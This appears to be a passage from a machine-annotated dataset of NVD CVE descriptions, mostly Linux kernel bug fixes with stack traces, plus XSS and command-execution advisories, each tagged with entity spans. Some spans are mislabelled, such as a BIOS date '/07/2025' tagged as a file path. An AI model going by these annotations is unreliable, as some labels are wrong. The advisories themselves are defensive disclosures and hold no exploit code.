clockevents_program_event+0x1d4/0x2a0\n ? hrtimer_interrupt+0x322/0x780\n handle_softirqs+0x16a/0x550\n irq_exit_rcu+0xaf/0xe0\n sysvec_apic_timer_interrupt+0x70/0x80\n </IRQ>\n...\n\nThe following diagram reveals the cause of the above warning:\n\nCPU 0 (remove)             | CPU 1 (delayed work callback)\nmscc_ocelot_remove()       |\n  ocelot_deinit()          | ocelot_check_stats_work()\n    ocelot_stats_deinit()  |\n      cancel_delayed_work()|   ...\n                           |   queue_delayed_work()\n      destroy_workqueue()  | (wait a time)\n                           | __queue_work() //UAF\n\nThe above scenario actually constitutes a UAF vulnerability.\n\nThe ocelot_stats_deinit() is only invoked when initialization\nfailure or resource destruction, so we must ensure that any\ndelayed work items cannot be rescheduled.\n\nReplace cancel_delayed_work() with disable_delayed_work_sync()\nto guarantee proper cancellation of the delayed work item and\nensure completion of any currently executing work before the\nworkqueue is deallocated.\n\nA deadlock concern was considered: ocelot_stats_deinit() is called\nin a process context and is not holding any locks that the delayed\nwork item might also need. Therefore, the use of the _sync() variant\nis safe here.\n\nThis bug was identified through static analysis. To reproduce the\nissue and validate the fix, I simulated ocelot-swit\n---truncated---", "spans": {"FILEPATH: workqueue.c": [[1104, 1115]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[92, 106]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40003"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfs: Clean up /proc/net/rpc/nfs when nfs_fs_proc_net_init() fails.\n\nsyzbot reported a warning below [1] following a fault injection in\nnfs_fs_proc_net_init(). [0]\n\nWhen nfs_fs_proc_net_init() fails, /proc/net/rpc/nfs is not removed.\n\nLater, rpc_proc_exit() tries to remove /proc/net/rpc, and the warning\nis logged as the directory is not empty.\n\nLet's handle the error of nfs_fs_proc_net_init() properly.\n\n[0]:\nFAULT_INJECTION: forcing a failure.\nname failslab, interval 1, probability 0, space 0, times 0\nCPU: 1 UID: 0 PID: 6120 Comm: syz.2.27 Not tainted 6.16.0-rc1-syzkaller-00010-g2c4a1f3fe03e #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/07/2025\nCall Trace:\n <TASK>\n  dump_stack_lvl (lib/dump_stack.c:123)\n should_fail_ex (lib/fault-inject.c:73 lib/fault-inject.c:174)\n should_failslab (mm/failslab.c:46)\n kmem_cache_alloc_noprof (mm/slub.c:4178 mm/slub.c:4204)\n __proc_create (fs/proc/generic.c:427)\n proc_create_reg (fs/proc/generic.c:554)\n proc_create_net_data (fs/proc/proc_net.c:120)\n nfs_fs_proc_net_init (fs/nfs/client.c:1409)\n nfs_net_init (fs/nfs/inode.c:2600)\n ops_init (net/core/net_namespace.c:138)\n setup_net (net/core/net_namespace.c:443)\n copy_net_ns (net/core/net_namespace.c:576)\n create_new_namespaces (kernel/nsproxy.c:110)\n unshare_nsproxy_namespaces (kernel/nsproxy.c:218 (discriminator 4))\n ksys_unshare (kernel/fork.c:3123)\n __x64_sys_unshare (kernel/fork.c:3190)\n do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n </TASK>\n\n[1]:\nremove_proc_entry: removing non-empty directory 'net/rpc', leaking at least 'nfs'\n WARNING: CPU: 1 PID: 6120 at fs/proc/generic.c:727 remove_proc_entry+0x45e/0x530 fs/proc/generic.c:727\nModules linked in:\nCPU: 1 UID: 0 PID: 6120 Comm: syz.2.27 Not tainted 6.16.0-rc1-syzkaller-00010-g2c4a1f3fe03e #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/07/2025\n RIP: 0010:remove_proc_entry+0x45e/0x530 fs/proc/generic.c:727\nCode: 3c 02 00 0f 85 85 00 00 00 48 8b 93 d8 00 00 00 4d 89 f0 4c 89 e9 48 c7 c6 40 ba a2 8b 48 c7 c7 60 b9 a2 8b e8 33 81 1d ff 90 <0f> 0b 90 90 e9 5f fe ff ff e8 04 69 5e ff 90 48 b8 00 00 00 00 00\nRSP: 0018:ffffc90003637b08 EFLAGS: 00010282\nRAX: 0000000000000000 RBX: ffff88805f534140 RCX: ffffffff817a92c8\nRDX: ffff88807da99e00 RSI: ffffffff817a92d5 RDI: 0000000000000001\nRBP: ffff888033431ac0 R08: 0000000000000001 R09: 0000000000000000\nR10: 0000000000000001 R11: 0000000000000001 R12: ffff888033431a00\nR13: ffff888033431ae4 R14: ffff888033184724 R15: dffffc0000000000\nFS:  0000555580328500(0000) GS:ffff888124a62000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f71733743e0 CR3: 000000007f618000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n  sunrpc_exit_net+0x46/0x90 net/sunrpc/sunrpc_syms.c:76\n  ops_exit_list net/core/net_namespace.c:200 [inline]\n  ops_undo_list+0x2eb/0xab0 net/core/net_namespace.c:253\n  setup_net+0x2e1/0x510 net/core/net_namespace.c:457\n  copy_net_ns+0x2a6/0x5f0 net/core/net_namespace.c:574\n  create_new_namespaces+0x3ea/0xa90 kernel/nsproxy.c:110\n  unshare_nsproxy_namespaces+0xc0/0x1f0 kernel/nsproxy.c:218\n  ksys_unshare+0x45b/0xa40 kernel/fork.c:3121\n  __do_sys_unshare kernel/fork.c:3192 [inline]\n  __se_sys_unshare kernel/fork.c:3190 [inline]\n  __x64_sys_unshare+0x31/0x40 kernel/fork.c:3190\n  do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n  do_syscall_64+0xcd/0x490 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fa1a6b8e929\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c\n---truncated---", "spans": {"FILEPATH: /proc/net/rpc/nfs": [[83, 100], [268, 285]], "FILEPATH: /proc/net/rpc": [[342, 355]], "FILEPATH: /07/2025": [[765, 773], [2068, 2076]], "FILEPATH: /proc/generic.c": [[1008, 1023], [1049, 1064], [1787, 1802], [1839, 1854], [2120, 2135]], "FILEPATH: /proc/proc_net.c": [[1095, 1111]], "FILEPATH: /nfs/client.c": [[1142, 1155]], "FILEPATH: /nfs/inode.c": [[1179, 1191]], "FILEPATH: /core/net_namespace.c": [[1212, 1233], [1254, 1275], [1298, 1319], [3134, 3155], [3200, 3221], [3253, 3274], [3308, 3329]], "FILEPATH: /x86/entry/syscall_64.c": [[1535, 1558], [1566, 1589], [3662, 3685], [3729, 3752]], "FILEPATH: /x86/entry/entry_64.S": [[1631, 1652]], "FILEPATH: /sunrpc/sunrpc_syms.c": [[3090, 3111]], "FILEPATH: dump_stack.c": [[816, 828]], "FILEPATH: inject.c": [[861, 869], [883, 891]], "FILEPATH: failslab.c": [[918, 928]], "FILEPATH: slub.c": [[962, 968], [977, 983]], "FILEPATH: nsproxy.c": [[1356, 1365], [1407, 1416], [3377, 3386], [3438, 3447]], "FILEPATH: fork.c": [[1462, 1468], [1502, 1508], [3486, 3492], [3524, 3530], [3571, 3577], [3629, 3635]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[699, 705], [706, 712], [728, 734], [756, 762], [2002, 2008], [2009, 2015], [2031, 2037], [2059, 2065]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38400"}}
{"text": "Flatpak is a system for building, distributing, and running sandboxed desktop applications on Linux. Versions prior to 1.10.8, 1.12.8, 1.14.4, and 1.15.4 contain a vulnerability similar to CVE-2017-5226, but using the `TIOCLINUX` ioctl command instead of `TIOCSTI`. If a Flatpak app is run on a Linux virtual console such as `/dev/tty1`, it can copy text from the virtual console and paste it into the command buffer, from which the command might be run after the Flatpak app has exited. Ordinary graphical terminal emulators like xterm, gnome-terminal and Konsole are unaffected. This vulnerability is specific to the Linux virtual consoles `/dev/tty1`, `/dev/tty2` and so on. A patch is available in versions 1.10.8, 1.12.8, 1.14.4, and 1.15.4. As a workaround, don't run Flatpak on a Linux virtual console. Flatpak is primarily designed to be used in a Wayland or X11 graphical environment.", "spans": {"CVE_ID: CVE-2017-5226": [[189, 202]], "FILEPATH: /dev/tty1": [[326, 335], [643, 652]], "FILEPATH: /dev/tty2": [[656, 665]], "SYSTEM: Linux": [[94, 99], [295, 300], [619, 624], [787, 792]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-28100"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/vmalloc: combine all TLB flush operations of KASAN shadow virtual address into one operation\n\nWhen compiling kernel source 'make -j $(nproc)' with the up-and-running\nKASAN-enabled kernel on a 256-core machine, the following soft lockup is\nshown:\n\nwatchdog: BUG: soft lockup - CPU#28 stuck for 22s! [kworker/28:1:1760]\nCPU: 28 PID: 1760 Comm: kworker/28:1 Kdump: loaded Not tainted 6.10.0-rc5 #95\nWorkqueue: events drain_vmap_area_work\nRIP: 0010:smp_call_function_many_cond+0x1d8/0xbb0\nCode: 38 c8 7c 08 84 c9 0f 85 49 08 00 00 8b 45 08 a8 01 74 2e 48 89 f1 49 89 f7 48 c1 e9 03 41 83 e7 07 4c 01 e9 41 83 c7 03 f3 90 <0f> b6 01 41 38 c7 7c 08 84 c0 0f 85 d4 06 00 00 8b 45 08 a8 01 75\nRSP: 0018:ffffc9000cb3fb60 EFLAGS: 00000202\nRAX: 0000000000000011 RBX: ffff8883bc4469c0 RCX: ffffed10776e9949\nRDX: 0000000000000002 RSI: ffff8883bb74ca48 RDI: ffffffff8434dc50\nRBP: ffff8883bb74ca40 R08: ffff888103585dc0 R09: ffff8884533a1800\nR10: 0000000000000004 R11: ffffffffffffffff R12: ffffed1077888d39\nR13: dffffc0000000000 R14: ffffed1077888d38 R15: 0000000000000003\nFS:  0000000000000000(0000) GS:ffff8883bc400000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00005577b5c8d158 CR3: 0000000004850000 CR4: 0000000000350ef0\nCall Trace:\n <IRQ>\n ? watchdog_timer_fn+0x2cd/0x390\n ? __pfx_watchdog_timer_fn+0x10/0x10\n ? __hrtimer_run_queues+0x300/0x6d0\n ? sched_clock_cpu+0x69/0x4e0\n ? __pfx___hrtimer_run_queues+0x10/0x10\n ? srso_return_thunk+0x5/0x5f\n ? ktime_get_update_offsets_now+0x7f/0x2a0\n ? srso_return_thunk+0x5/0x5f\n ? srso_return_thunk+0x5/0x5f\n ? hrtimer_interrupt+0x2ca/0x760\n ? __sysvec_apic_timer_interrupt+0x8c/0x2b0\n ? sysvec_apic_timer_interrupt+0x6a/0x90\n </IRQ>\n <TASK>\n ? asm_sysvec_apic_timer_interrupt+0x16/0x20\n ? smp_call_function_many_cond+0x1d8/0xbb0\n ? __pfx_do_kernel_range_flush+0x10/0x10\n on_each_cpu_cond_mask+0x20/0x40\n flush_tlb_kernel_range+0x19b/0x250\n ? srso_return_thunk+0x5/0x5f\n ? kasan_release_vmalloc+0xa7/0xc0\n purge_vmap_node+0x357/0x820\n ? __pfx_purge_vmap_node+0x10/0x10\n __purge_vmap_area_lazy+0x5b8/0xa10\n drain_vmap_area_work+0x21/0x30\n process_one_work+0x661/0x10b0\n worker_thread+0x844/0x10e0\n ? srso_return_thunk+0x5/0x5f\n ? __kthread_parkme+0x82/0x140\n ? __pfx_worker_thread+0x10/0x10\n kthread+0x2a5/0x370\n ? __pfx_kthread+0x10/0x10\n ret_from_fork+0x30/0x70\n ? __pfx_kthread+0x10/0x10\n ret_from_fork_asm+0x1a/0x30\n </TASK>\n\nDebugging Analysis:\n\n  1. The following ftrace log shows that the lockup CPU spends too much\n     time iterating vmap_nodes and flushing TLB when purging vm_area\n     structures. (Some info is trimmed).\n\n     kworker: funcgraph_entry:              |  drain_vmap_area_work() {\n     kworker: funcgraph_entry:              |   mutex_lock() {\n     kworker: funcgraph_entry:  1.092 us    |     __cond_resched();\n     kworker: funcgraph_exit:   3.306 us    |   }\n     ...                                        ...\n     kworker: funcgraph_entry:              |    flush_tlb_kernel_range() {\n     ...                                          ...\n     kworker: funcgraph_exit: # 7533.649 us |    }\n     ...                                         ...\n     kworker: funcgraph_entry:  2.344 us    |   mutex_unlock();\n     kworker: funcgraph_exit: $ 23871554 us | }\n\n     The drain_vmap_area_work() spends over 23 seconds.\n\n     There are 2805 flush_tlb_kernel_range() calls in the ftrace log.\n       * One is called in __purge_vmap_area_lazy().\n       * Others are called by purge_vmap_node->kasan_release_vmalloc.\n         purge_vmap_node() iteratively releases kasan vmalloc\n         allocations and flushes TLB for each vmap_area.\n           - [Rough calculation] Each flush_tlb_kernel_range() runs\n             about 7.5ms.\n               -- 2804 * 7.5ms = 21.03 seconds.\n               -- That's why a soft lock is triggered.\n\n  2. Extending the soft lockup time can work around the issue (For example,\n     # echo\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56559"}}
{"text": "The evm crate is a pure Rust implementation of Ethereum Virtual Machine. In `evm` crate `< 0.31.0`, `JUMPI` opcode's condition is checked after the destination validity check. However, according to Geth and OpenEthereum, the condition check should happen before the destination validity check. This is a **high** severity security advisory if you use `evm` crate for Ethereum mainnet. In this case, you should update your library dependency immediately to on or after `0.31.0`. This is a **low** severity security advisory if you use `evm` crate in Frontier or in a standalone blockchain, because there's no security exploit possible with this advisory. It is **not** recommended to update to on or after `0.31.0` until all the normal chain upgrade preparations have been done. If you use Frontier or other `pallet-evm` based Substrate blockchain, please ensure to update your `spec_version` before updating this. For other blockchains, please make sure to follow a hard-fork process before you update this.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41153"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: openvswitch: fix leak of nested actions\n\nWhile parsing user-provided actions, openvswitch module may dynamically\nallocate memory and store pointers in the internal copy of the actions.\nSo this memory has to be freed while destroying the actions.\n\nCurrently there are only two such actions: ct() and set().  However,\nthere are many actions that can hold nested lists of actions and\novs_nla_free_flow_actions() just jumps over them leaking the memory.\n\nFor example, removal of the flow with the following actions will lead\nto a leak of the memory allocated by nf_ct_tmpl_alloc():\n\n  actions:clone(ct(commit),0)\n\nNon-freed set() action may also leak the 'dst' structure for the\ntunnel info including device references.\n\nUnder certain conditions with a high rate of flow rotation that may\ncause significant memory leak problem (2MB per second in reporter's\ncase).  The problem is also hard to mitigate, because the user doesn't\nhave direct control over the datapath flows generated by OVS.\n\nFix that by iterating over all the nested actions and freeing\neverything that needs to be freed recursively.\n\nNew build time assertion should protect us from this problem if new\nactions will be added in the future.\n\nUnfortunately, openvswitch module doesn't use NLA_F_NESTED, so all\nattributes has to be explicitly checked.  sample() and clone() actions\nare mixing extra attributes into the user-provided action list.  That\nprevents some code generalization too.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[877, 888]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49086"}}
{"text": "Cross Site Scripting (XSS) vulnerability in wcms 0.3.2 allows remote attackers to inject arbitrary web script and HTML via the pagename parameter to wex/html.php.", "spans": {"FILEPATH: html.php": [[153, 161]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-24138"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/vc4: don't check if plane->state->fb == state->fb\n\nCurrently, when using non-blocking commits, we can see the following\nkernel warning:\n\n[  110.908514] ------------[ cut here ]------------\n[  110.908529] refcount_t: underflow; use-after-free.\n[  110.908620] WARNING: CPU: 0 PID: 1866 at lib/refcount.c:87 refcount_dec_not_one+0xb8/0xc0\n[  110.908664] Modules linked in: rfcomm snd_seq_dummy snd_hrtimer snd_seq snd_seq_device cmac algif_hash aes_arm64 aes_generic algif_skcipher af_alg bnep hid_logitech_hidpp vc4 brcmfmac hci_uart btbcm brcmutil bluetooth snd_soc_hdmi_codec cfg80211 cec drm_display_helper drm_dma_helper drm_kms_helper snd_soc_core snd_compress snd_pcm_dmaengine fb_sys_fops sysimgblt syscopyarea sysfillrect raspberrypi_hwmon ecdh_generic ecc rfkill libaes i2c_bcm2835 binfmt_misc joydev snd_bcm2835(C) bcm2835_codec(C) bcm2835_isp(C) v4l2_mem2mem videobuf2_dma_contig snd_pcm bcm2835_v4l2(C) raspberrypi_gpiomem bcm2835_mmal_vchiq(C) videobuf2_v4l2 snd_timer videobuf2_vmalloc videobuf2_memops videobuf2_common snd videodev vc_sm_cma(C) mc hid_logitech_dj uio_pdrv_genirq uio i2c_dev drm fuse dm_mod drm_panel_orientation_quirks backlight ip_tables x_tables ipv6\n[  110.909086] CPU: 0 PID: 1866 Comm: kodi.bin Tainted: G         C         6.1.66-v8+ #32\n[  110.909104] Hardware name: Raspberry Pi 3 Model B Rev 1.2 (DT)\n[  110.909114] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[  110.909132] pc : refcount_dec_not_one+0xb8/0xc0\n[  110.909152] lr : refcount_dec_not_one+0xb4/0xc0\n[  110.909170] sp : ffffffc00913b9c0\n[  110.909177] x29: ffffffc00913b9c0 x28: 000000556969bbb0 x27: 000000556990df60\n[  110.909205] x26: 0000000000000002 x25: 0000000000000004 x24: ffffff8004448480\n[  110.909230] x23: ffffff800570b500 x22: ffffff802e03a7bc x21: ffffffecfca68c78\n[  110.909257] x20: ffffff8002b42000 x19: ffffff802e03a600 x18: 0000000000000000\n[  110.909283] x17: 0000000000000011 x16: ffffffffffffffff x15: 0000000000000004\n[  110.909308] x14: 0000000000000fff x13: ffffffed577e47e0 x12: 0000000000000003\n[  110.909333] x11: 0000000000000000 x10: 0000000000000027 x9 : c912d0d083728c00\n[  110.909359] x8 : c912d0d083728c00 x7 : 65646e75203a745f x6 : 746e756f63666572\n[  110.909384] x5 : ffffffed579f62ee x4 : ffffffed579eb01e x3 : 0000000000000000\n[  110.909409] x2 : 0000000000000000 x1 : ffffffc00913b750 x0 : 0000000000000001\n[  110.909434] Call trace:\n[  110.909441]  refcount_dec_not_one+0xb8/0xc0\n[  110.909461]  vc4_bo_dec_usecnt+0x4c/0x1b0 [vc4]\n[  110.909903]  vc4_cleanup_fb+0x44/0x50 [vc4]\n[  110.910315]  drm_atomic_helper_cleanup_planes+0x88/0xa4 [drm_kms_helper]\n[  110.910669]  vc4_atomic_commit_tail+0x390/0x9dc [vc4]\n[  110.911079]  commit_tail+0xb0/0x164 [drm_kms_helper]\n[  110.911397]  drm_atomic_helper_commit+0x1d0/0x1f0 [drm_kms_helper]\n[  110.911716]  drm_atomic_commit+0xb0/0xdc [drm]\n[  110.912569]  drm_mode_atomic_ioctl+0x348/0x4b8 [drm]\n[  110.913330]  drm_ioctl_kernel+0xec/0x15c [drm]\n[  110.914091]  drm_ioctl+0x24c/0x3b0 [drm]\n[  110.914850]  __arm64_sys_ioctl+0x9c/0xd4\n[  110.914873]  invoke_syscall+0x4c/0x114\n[  110.914897]  el0_svc_common+0xd0/0x118\n[  110.914917]  do_el0_svc+0x38/0xd0\n[  110.914936]  el0_svc+0x30/0x8c\n[  110.914958]  el0t_64_sync_handler+0x84/0xf0\n[  110.914979]  el0t_64_sync+0x18c/0x190\n[  110.914996] ---[ end trace 0000000000000000 ]---\n\nThis happens because, although `prepare_fb` and `cleanup_fb` are\nperfectly balanced, we cannot guarantee consistency in the check\nplane->state->fb == state->fb. This means that sometimes we can increase\nthe refcount in `prepare_fb` and don't decrease it in `cleanup_fb`. The\nopposite can also be true.\n\nIn fact, the struct drm_plane .state shouldn't be accessed directly\nbut instead, the `drm_atomic_get_new_plane_state()` helper function should\nbe used. So, we could stick to this check, but using\n`drm_atomic_get_new_plane_state()`. But actually, this check is not re\n---truncated---", "spans": {"FILEPATH: refcount.c": [[364, 374]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[300, 314]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35932"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: fortify the spinlock against deadlock by interrupt\n\nIn the function ieee80211_tx_dequeue() there is a particular locking\nsequence:\n\nbegin:\n\tspin_lock(&local->queue_stop_reason_lock);\n\tq_stopped = local->queue_stop_reasons[q];\n\tspin_unlock(&local->queue_stop_reason_lock);\n\nHowever small the chance (increased by ftracetest), an asynchronous\ninterrupt can occur in between of spin_lock() and spin_unlock(),\nand the interrupt routine will attempt to lock the same\n&local->queue_stop_reason_lock again.\n\nThis will cause a costly reset of the CPU and the wifi device or an\naltogether hang in the single CPU and single core scenario.\n\nThe only remaining spin_lock(&local->queue_stop_reason_lock) that\ndid not disable interrupts was patched, which should prevent any\ndeadlocks on the same CPU/core and the same wifi device.\n\nThis is the probable trace of the deadlock:\n\nkernel: ================================\nkernel: WARNING: inconsistent lock state\nkernel: 6.3.0-rc6-mt-20230401-00001-gf86822a1170f #4 Tainted: G        W\nkernel: --------------------------------\nkernel: inconsistent {IN-SOFTIRQ-W} -> {SOFTIRQ-ON-W} usage.\nkernel: kworker/5:0/25656 [HC0[0]:SC0[0]:HE1:SE1] takes:\nkernel: ffff9d6190779478 (&local->queue_stop_reason_lock){+.?.}-{2:2}, at: return_to_handler+0x0/0x40\nkernel: {IN-SOFTIRQ-W} state was registered at:\nkernel:   lock_acquire+0xc7/0x2d0\nkernel:   _raw_spin_lock+0x36/0x50\nkernel:   ieee80211_tx_dequeue+0xb4/0x1330 [mac80211]\nkernel:   iwl_mvm_mac_itxq_xmit+0xae/0x210 [iwlmvm]\nkernel:   iwl_mvm_mac_wake_tx_queue+0x2d/0xd0 [iwlmvm]\nkernel:   ieee80211_queue_skb+0x450/0x730 [mac80211]\nkernel:   __ieee80211_xmit_fast.constprop.66+0x834/0xa50 [mac80211]\nkernel:   __ieee80211_subif_start_xmit+0x217/0x530 [mac80211]\nkernel:   ieee80211_subif_start_xmit+0x60/0x580 [mac80211]\nkernel:   dev_hard_start_xmit+0xb5/0x260\nkernel:   __dev_queue_xmit+0xdbe/0x1200\nkernel:   neigh_resolve_output+0x166/0x260\nkernel:   ip_finish_output2+0x216/0xb80\nkernel:   __ip_finish_output+0x2a4/0x4d0\nkernel:   ip_finish_output+0x2d/0xd0\nkernel:   ip_output+0x82/0x2b0\nkernel:   ip_local_out+0xec/0x110\nkernel:   igmpv3_sendpack+0x5c/0x90\nkernel:   igmp_ifc_timer_expire+0x26e/0x4e0\nkernel:   call_timer_fn+0xa5/0x230\nkernel:   run_timer_softirq+0x27f/0x550\nkernel:   __do_softirq+0xb4/0x3a4\nkernel:   irq_exit_rcu+0x9b/0xc0\nkernel:   sysvec_apic_timer_interrupt+0x80/0xa0\nkernel:   asm_sysvec_apic_timer_interrupt+0x1f/0x30\nkernel:   _raw_spin_unlock_irqrestore+0x3f/0x70\nkernel:   free_to_partial_list+0x3d6/0x590\nkernel:   __slab_free+0x1b7/0x310\nkernel:   kmem_cache_free+0x52d/0x550\nkernel:   putname+0x5d/0x70\nkernel:   do_sys_openat2+0x1d7/0x310\nkernel:   do_sys_open+0x51/0x80\nkernel:   __x64_sys_openat+0x24/0x30\nkernel:   do_syscall_64+0x5c/0x90\nkernel:   entry_SYSCALL_64_after_hwframe+0x72/0xdc\nkernel: irq event stamp: 5120729\nkernel: hardirqs last  enabled at (5120729): [<ffffffff9d149936>] trace_graph_return+0xd6/0x120\nkernel: hardirqs last disabled at (5120728): [<ffffffff9d149950>] trace_graph_return+0xf0/0x120\nkernel: softirqs last  enabled at (5069900): [<ffffffff9cf65b60>] return_to_handler+0x0/0x40\nkernel: softirqs last disabled at (5067555): [<ffffffff9cf65b60>] return_to_handler+0x0/0x40\nkernel:\n        other info that might help us debug this:\nkernel:  Possible unsafe locking scenario:\nkernel:        CPU0\nkernel:        ----\nkernel:   lock(&local->queue_stop_reason_lock);\nkernel:   <Interrupt>\nkernel:     lock(&local->queue_stop_reason_lock);\nkernel:\n         *** DEADLOCK ***\nkernel: 8 locks held by kworker/5:0/25656:\nkernel:  #0: ffff9d618009d138 ((wq_completion)events_freezable){+.+.}-{0:0}, at: process_one_work+0x1ca/0x530\nkernel:  #1: ffffb1ef4637fe68 ((work_completion)(&local->restart_work)){+.+.}-{0:0}, at: process_one_work+0x1ce/0x530\nkernel:  #2: ffffffff9f166548 (rtnl_mutex){+.+.}-{3:3}, at: return_to_handler+0x0/0x40\nkernel:  #3: ffff9d619\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54288"}}
{"text": "Cross-site scripting vulnerability in NEC Aterm devices (Aterm WG1900HP2 firmware Ver.1.3.1 and earlier, Aterm WG1900HP firmware Ver.2.5.1 and earlier, Aterm WG1800HP4 firmware Ver.1.3.1 and earlier, Aterm WG1800HP3 firmware Ver.1.5.1 and earlier, Aterm WG1200HS2 firmware Ver.2.5.0 and earlier, Aterm WG1200HP3 firmware Ver.1.3.1 and earlier, Aterm WG1200HP2 firmware Ver.2.5.0 and earlier, Aterm W1200EX firmware Ver.1.3.1 and earlier, Aterm W1200EX-MS firmware Ver.1.3.1 and earlier, Aterm WG1200HS firmware all versions Aterm WG1200HP firmware all versions Aterm WF800HP firmware all versions Aterm WF300HP2 firmware all versions Aterm WR8165N firmware all versions Aterm W500P firmware all versions, and Aterm W300P firmware all versions) allows remote attackers to inject arbitrary script or HTML via unspecified vectors.", "spans": {"VULNERABILITY: Cross-site scripting": [[0, 20]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-20680"}}
{"text": "A command execution issue was found in Apache SpamAssassin prior to 3.4.3. Carefully crafted nefarious Configuration (.cf) files can be configured to run system commands similar to CVE-2018-11805. This issue is less stealthy and attempts to exploit the issue will throw warnings. Thanks to Damian Lukowski at credativ for reporting the issue ethically. With this bug unpatched, exploits can be injected in a number of scenarios though doing so remotely is difficult. In addition to upgrading to SA 3.4.4, we again recommend that users should only use update channels or 3rd party .cf files from trusted places.", "spans": {"CVE_ID: CVE-2018-11805": [[181, 195]], "ORGANIZATION: Apache": [[39, 45]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1931"}}
{"text": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. `org.xwiki.platform:xwiki-platform-web` starting in version 3.1-milestone-2 and prior to version 13.4-rc-1, as well as `org.xwiki.platform:xwiki-platform-web-templates` prior to versions 14.10.12 and 15.5-rc-1, are vulnerable to cross-site scripting. When trying to create a document that already exists, XWiki displays an error message in the form for creating it. Due to missing escaping, this error message is vulnerable to raw HTML injection and thus XSS. The injected code is the document reference of the existing document so this requires that the attacker first creates a non-empty document whose name contains the attack code. This has been patched in `org.xwiki.platform:xwiki-platform-web` version 13.4-rc-1 and `org.xwiki.platform:xwiki-platform-web-templates` versions 14.10.12 and 15.5-rc-1 by adding the appropriate escaping. The vulnerable template file `createinline.vm` is part of XWiki's WAR and can be patched by manually applying the changes from the fix.", "spans": {"VULNERABILITY: cross-site scripting": [[334, 354]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-45137"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: do not allow relocation of partially dropped subvolumes\n\n[BUG]\nThere is an internal report that balance triggered transaction abort,\nwith the following call trace:\n\n  item 85 key (594509824 169 0) itemoff 12599 itemsize 33\n          extent refs 1 gen 197740 flags 2\n          ref#0: tree block backref root 7\n  item 86 key (594558976 169 0) itemoff 12566 itemsize 33\n          extent refs 1 gen 197522 flags 2\n          ref#0: tree block backref root 7\n ...\n BTRFS error (device loop0): extent item not found for insert, bytenr 594526208 num_bytes 16384 parent 449921024 root_objectid 934 owner 1 offset 0\n BTRFS error (device loop0): failed to run delayed ref for logical 594526208 num_bytes 16384 type 182 action 1 ref_mod 1: -117\n ------------[ cut here ]------------\n BTRFS: Transaction aborted (error -117)\n WARNING: CPU: 1 PID: 6963 at ../fs/btrfs/extent-tree.c:2168 btrfs_run_delayed_refs+0xfa/0x110 [btrfs]\n\nAnd btrfs check doesn't report anything wrong related to the extent\ntree.\n\n[CAUSE]\nThe cause is a little complex, firstly the extent tree indeed doesn't\nhave the backref for 594526208.\n\nThe extent tree only have the following two backrefs around that bytenr\non-disk:\n\n        item 65 key (594509824 METADATA_ITEM 0) itemoff 13880 itemsize 33\n                refs 1 gen 197740 flags TREE_BLOCK\n                tree block skinny level 0\n                (176 0x7) tree block backref root CSUM_TREE\n        item 66 key (594558976 METADATA_ITEM 0) itemoff 13847 itemsize 33\n                refs 1 gen 197522 flags TREE_BLOCK\n                tree block skinny level 0\n                (176 0x7) tree block backref root CSUM_TREE\n\nBut the such missing backref item is not an corruption on disk, as the\noffending delayed ref belongs to subvolume 934, and that subvolume is\nbeing dropped:\n\n        item 0 key (934 ROOT_ITEM 198229) itemoff 15844 itemsize 439\n                generation 198229 root_dirid 256 bytenr 10741039104 byte_limit 0 bytes_used 345571328\n                last_snapshot 198229 flags 0x1000000000001(RDONLY) refs 0\n                drop_progress key (206324 EXTENT_DATA 2711650304) drop_level 2\n                level 2 generation_v2 198229\n\nAnd that offending tree block 594526208 is inside the dropped range of\nthat subvolume.  That explains why there is no backref item for that\nbytenr and why btrfs check is not reporting anything wrong.\n\nBut this also shows another problem, as btrfs will do all the 